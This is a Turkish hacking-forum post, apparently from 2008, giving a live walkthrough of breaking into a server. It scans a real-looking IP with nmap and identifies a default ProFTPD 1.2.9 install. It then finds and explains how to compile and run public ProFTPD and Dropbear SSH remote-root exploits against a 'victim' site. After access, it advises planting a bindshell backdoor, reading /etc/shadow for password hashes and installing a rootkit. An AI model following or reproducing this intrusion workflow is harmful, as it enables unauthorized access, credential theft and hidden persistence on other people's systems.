ExpLoit saLdırı teknikLeri

BLuєćяσwηz

Uzman üye
4 May 2008
1,697
38
TυякHα¢кTєαм
S.A.

Burada exploitler kullanarak saldırıların nasıl yapılıcağı hakkında bahsedicem.

Yazdıkça dahasını eklicem inşAllah.

Öncelikle terimleri ve işlevleri öğrenelim..

Exploit nedir?

Exploit bir sistemdeki zayıflığı sömüren kodları bütününe denir.

Sistem üzerinde çalışan programların firewall ın antivirusun mail servislerinin barındırdığı zayıflıkları kullanmak için yazılırlar. C dili, perl dili, ruby, python, gibi dillerle yazılırlar. Her dil için ayrı ayrı kullanma tarzları ve programları vardır. C exploitler cygwin yada Linux işletim sistemlerinde, perl exploitler yine linuxlerde ve activeperl de çalıştırılır. Bunlar bizim konumuz değil. Ondan şimdilik geçiyorum. Exploitleri tanıyalım.

Kullanım şekline göre Exploitler 2 ye ayrılır:

1)Uzaktan Sömürücü Saldırılar ( Remote exploit Attacks)

2)Yerel Sömürücü Ataklar (Local Exploit Attacks)

Uzaktan Saldırılar: Sistemde herhangi bir acc. Olmadan herhangi bir bağlantı veya ağ içinde bir paylaşımı olmadan sadece internet ağından yapılan saldırılardır. Bu saldırılarda tamamen dışarıdan içeriye girmeye teşebbüs için yapılır. Uzaktan saldırılarda amaç içeriye girmektir ister yönteici olarak ister guest olarak ama amaç içeride olmaktır. Tabi uzaktan root olmak için yazılmış exploitlerde çokça var. Ama amaç içeriye girmektir.

Yerel Saldırılar: Yerel saldırı içeri girdikten sonra başlar. Remote exploitlerle veya herhangi bir şekilde içeri girildikten sonra yapılması gereken ilk şey yetki artırımına gitmektir. Çünkü yetkisi hiçbir işlem yapılamaz hedef sistemde. Bunun içinde local exploitsler kullanılır.



Exploitler Nasıl Derlenir ve Kullanılır?

Eğer bir Windows kullanıcısı iseniz iki yöntem var

Ya paralı bir shell hesabı alıcaksınız. Veya Windows altında gcc komutu çalıştırabilicek bir programla işiniz görüceksiniz. Ama ben ikisinide kullanımıyorum. Çünkü window alında çalışan adam gibi exploit görmedim daha. Ondan dolayı Live CD olarak Linux kullanılmasıni tavsiye ediyorum sizlere. Kesinlikle Linux bilemeyen veya kullanmayan hacker olamaz ve yoktur. O sebeble bir adet Red Hat veya Knoppix edinmenizi şiddetle tavsite ediyorum.

Buffer OverFlows:

Exploit dünyasının en can yakıcı ve en etkili sömürücüleri şüphesiz buffer overflowslardır.

BOF ların mantğı şu şekilde çalışır:

Bir çok program yapımcısı bazı codlama zayıflıkları yaparlar. Bu kodlama zayıflıkları aşırı yükleme sonucu üzerine yazdırılması sonucu sistemin içine sızmaya yol açar. BOF lar kullanılan programlara göre portlara göre farklılık gösterir.

Exploit saldırılarında yapılması gerekenler sıra ile :

1- Port Scan OS finger gibi.. keşif aşaması
2- Keşif aşamasına göre exploit bulmak
3- Linuxte exploiti derlemek veya shell hesabına bağlanıp exploiti sisteme sokmak
4- Servera bindshell kurmak...
5- Serverda root olmak...
6- Rookit bırakmak




Hemen canlı canlı örnek bir saldırı gerçekleştiriyorum

Önce port scan yapıyorum

C:\\\\\\\\********s and Settings\\\\\\\\SultanMehmed>nmap –sA –O –p 1-1024 –v xxxx.org

Interesting ports on static.212.154.37.58.netone.com.tr (212.154.37.58):

Not shown: 1016 filtered ports

PORT STATE SERVICE

21/tcp UNfiltered ftp

22/tcp UNfiltered ssh

23/tcp UNfiltered telnet

25/tcp UNfiltered smtp

53/tcp UNfiltered domain

80/tcp UNfiltered http

110/tcp UNfiltered pop3

443/tcp UNfiltered https

Filtreli değil portlar…

Ayrıca pop3 açık 443 port açık ve ssh saldırısı yapılabilir..

Ama ben FTP kullanıcam

Başlayalım… Here We go…

FTP sürümünü öğrenmenin en güzel yolu cmd ye :>ftp site.com yazmak

(Bunu ben buldum ama başkasıda bu yöntemle öğreniyor olabilir)

C:\\\\\\\\********s and Settings\\\\\\\\SultanMehmed>ftp xxxx.org

Bağlantı xxxxx.org.

220 ProFTPD 1.2.9 Server (ProFTPD Default Installation) [212.154.37.58]

Hemde defult konfigure edilmiş… Güzel…

Hemen bi bakalım exploit varmı bu sürümle ilgili yazılmış

Evet buldum

ProFTPD 1.2.9rc2 ASCII File Remote Root Exploit

/* proftpd 1.2.7/1.2.9rc2 remote root exploit by bkbll (bkbll#cnhonker.net, 2003/10/1)

* for FTP_ProFTPD_Translate_Overflow found by X-force

* happy birthday, China.

* this code is dirty, there are more beautiful exploits of proftpd for this vuln in the world.

* this code want to provied u a method, not finally exploit.

* using overflow _xlate_ascii_write function return address.

* because the overflow is before it connecting to our port,so I have no method for using current socket.

* and I have provied two method:bind port and connect back.

*/

Harika…..

Bundan sonrasında ben knoppix live CD mi açıyorum

Exploiti derliyorum..

Ve kullanıoyurum..

Standart kullanım bildiğiniz gibi: (SABİT KONULARDA ANLATIMI VAR)

Gcc komutu ile exploiti hazır hale getirin. Sonra ./ ile çalıştırın…

gcc -o exploitadı exploitadı.c

./exploitadı -h face=times new roman color=#0000ff
www.kurbansite.com

işlem bu kadar.

Perl için ise:

exp. adı 1.pl
sonra msdos a girip
c:\\\\\\\\windows>cd..
c:\\\\\\\\>cd perl
c:\\\\\\\\perl>cd bin
c:\\\\\\\\perl\\\\\\\\bin\\\\\\\\>perl 1.pl -h
www.kurban.com

Farklı kullanımı varsa çalışırken size söylicektir zaten…

Dikkat ettiyseniz Remote Root exploit

Yani exploit çalıştıktan sonra sistemde root yetkisine sahip olucaz…

Ayrıca madem SSH port açık onuda kullanalaım

Aratıyoruz bakalım versiyona uygun exploit varmı

/*

* Linux x86 Dropbear SSH <= 0.34 remote root exploit

* coded by live

*

* You’ll need a hacked ssh client to try this out. I included a patch

* to openssh-3.6.p1 somewhere below this comment.

*

* The point is: the buffer being exploited is too small(25 bytes) to hold our

* shellcode, so a workaround was needed in order to send it. What I did here

* was to hack the ssh client so that it sends the local environment variable

* SHELLCODE as ssh’s methodname string. This method was described by Joel

* Eriksson @ 0xbadc0ded.org.

*

* The 25 bytes limitation is also the reason for the the strange ``2 byte’’

* retaddr you will see here. That’s not enough for complete pointer overwrite,

* so I decided to overwrite 3rd and 2nd bytes and hope our shellcode is

* around

*

* % telnet localhost 22

* Trying 127.0.0.1...

* Connected to localhost.

* Escape character is ’^]’.

* SSH-2.0-dropbear_0.34

* ^]

* telnet> quit

* Connection closed.

*

* % objdump -R /usr/local/sbin/dropbear| grep malloc

* 080673bc R_386_JUMP_SLOT malloc

*

* % drop-root -v24 localhost

* ?.2022u%24şhn@localhost’s password:

* Connection closed by 127.0.0.1

*

* % telnet localhost 10275

* Trying 127.0.0.1...

* Connected to localhost.

* Escape character is ’^]’.

* id; exit;

* uid=0(root) gid=0(root) groups=0(root)

* Connection closed by foreign host.

*

* In the above example we were able to lookup a suitable .got entry(used as

* retloc here), but this may not be true under a hostile environment. If

* exploiting this remotely I feel like chances would be greater if we attack

* the stack, but that’s just a guess.

*

* Version pad is 24 to 0.34, 12 to 0.32. I don’t know about other versions.

*

* gr33tz: ppro, alcaloide and friends.

*

*

* Please do not distribute

*/

Bingo.. Buldum…

Hemde yine Remote Root Exploit

Bundada aynı mantık derleyip kullanıyoruz.

Sonuç: Sistemde Root yetkisi….

Sisteme girdikten sonra kullanıcağınız komutlar özetle şöyle:

ls Dizinde bulunan herşeyi listeler.
ls -a Gizli dosylar ve dizinlerle beraber listeler.
ls -l Bütün dosyları boyut ve tarihini göstererek listeler.
tar -zxpf <dosya.tar.gz> Uzantısı tar.gz olan sıkıştırılmış dosyaları açar.
tar -xpf <dosya.tar> Uzantısı .tar olan dosyaları açar.
gunzip <dosya.gz> Uzantısı .gz olan dosları açar.
cp <dosya> Dosyayı kopyalar.
mv <dosya> Bir dosyayı başka bir dizine taşımanızı sağlar yada dosya adını değiştirir.
mkdir <dizin> Yeni bir dizin oluşturmanızı sağlar.
rmdir <dizin> Belirtilen dizini silmenizi sağlar.
rm <dosya> Dosya silmenizi sağlar.
rm -rf <dizin> Dizin silmenizi sağlar.
cd <dizin> Belirtilen dizine geçmenizi sağlar.
cd .. Bir üst dizine geçmenizi sağlar.
cd ~ En üst dizine çıkmanızı sağlar.
pwd O anda bulunduğunuz dizini görüntüler.
pico <dosya> Belirtilen dosyayı text editör ile düzenlemenizi sağlar.
ftp <site> Belirtilen siteye FTP bağlantısı sağlar.
lynx <site> Belirtilen siteyi görüntüler.
df Harddisk istatistiklerini gösterir.
quota Disk kullanımınızı gösterir.
uname İşletim sisteiminin durumunu gösterir.
whoami Kendi bilgilerinizi gösterir.
who Sunucuya bağlı olanları gösterir.
last Hesabınıza yapılan en son bağlantıyı gösterir.
whereis <dosya> Belirtilen dosyanın nerede olduğunu gösterir.
BitchX IRC programını çalıştırır.
mail Postalarınızı kontrol eder.
ps -x Sizin çalıştırdığınız işlemleri gösterir.
ps -a Sunucuda çalıştırılan tüm işlemleri gösterir.
ps -ux Çalıştırılan işlemlerin CPU/RAM kullanımıyla gösterir.
kill <pid> Pid numarası verilen işlemi durdurur.
kill -9 <pid> Pid numarası verilen eggdrop işlemini durdurur.
killall <program> Belirtilen program türündeki tüm işlemleri durdurur.
whatis <komut> Belirtilen komutun açıklamasını verir.
man <komut> Komut hakkında yardım görüntüler
passwd Shell hesabınıza girerken kullandığınız şifreyi değiştirmenizi sağlar.
vhosts yada vhost Sistemde bulunan vhostları (virtual host) listeler

Sistemin içine girdikten sonra yapılıcak iş Bindshell kurmak.Trojene benzeyen yapısıyla bize aslında bir arka kapı olucak olan bindshell her ihtimale karşı sistemden çıkmamız veya çıkarılmamız durumunda geri bağlantı sağlamaya yarıcak. Bunun amacı sistemdeki belirli bir portu bindshell olarak açması ve buraya bağlanmayı sağlamasıdır.. Exploitle içeri düşünce bi nevi shell hesabımız oluyor o makinada.. ama anonymous bir shell.. id mizde nobOdy yada farklı bişey yazar.. Normal de Shell hesabı olanların /home/ dizini altında bir klasörü olur.. Gerçi klasör olayı root a bağlıdır ama geneli böyledir.. bu Anonymous girişte bu dizin altında klasörümüz olmaz.. bindshell kuruyoruz çünki her zaman exploiti kullanıp sisteme remote attack düzenlemek zorunda kalmayalım diye.. Her zaman Exploitin sonuç vereceği kesin değildir açık patch lenmiş olabilir.. ve Exploitlerin kısa sürede sonuç vereceğide kesin değildir.. Neyse bindshell kurulumunun anlatılacak bi tarafı yok ./bindshel deyip kurulur.. Sonrasında sistem hakkında biraz bilgi alarak siste! min nasıl rootlanacağına bakılır.. "uname -r" Komutu ile kernel in sürümü öğrenilip buna göre local root exploit uygulanabilir yada "ps x" gibi komutlarlada çalışan uygulama ve programlara görede bakılabilir.. Burada biraz Linux bilgisi ister... Şimdi şu kısıma dikkat edin.. Öncelikle bir remote attack düzenledik sisteme girdik.. Şimdi ise bir local attack düzenleyip root olmaya çalıştık.. işlem sırası o şekilde ilerliyor.. Önce sisteme girmek gerekir sonra local bir attackla sisteme sahip olamk gerekir... Sistemde bir hesabınız olursa remote attack kısmını eleyip local attack yöntemlerine bakarsınız olay bu... Sistemdeki Şifreleri almak için "cat /etc/shadow" komutunu uygulayıp /etc/ dizini altındaki "shadow" isimli dosyanın içeriği ekrana basabilir shadow pass leri alabilirsiniz.. ama sistemde root olduktan sonra ne gereği varki zaten sistemdeki istediğiniz her dosyaya her siteye erişim sağlarsınız..

Root olduktan sonra sisteme bir rootkit kurarak gizli giriş çıkış yapabilirsiniz.

Selametle...
 

serdaront

Yeni üye
17 Tem 2008
44
0
Peki sisteme giren bir rootkiti nasıl devre dışı bırakıcaz onuda yazsaydın keşke,ben hala uğraşıyorumda:S
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.